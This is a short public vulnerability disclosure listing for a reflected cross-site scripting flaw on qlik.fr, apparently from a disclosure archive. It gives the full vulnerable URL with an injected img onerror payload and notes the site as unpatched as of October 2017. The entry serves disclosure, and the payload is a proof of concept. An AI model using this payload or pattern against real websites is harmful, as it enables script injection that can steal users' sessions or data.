qlik.fr XSS vulnerability

Vulnerable URL: http://www.qlik.fr/FR/indexcontent1.asp?L=DE==%22%3EKeritzy%3Cimg%20src=x%20onerror=prompt/xssposed/%3E=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 07.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / N...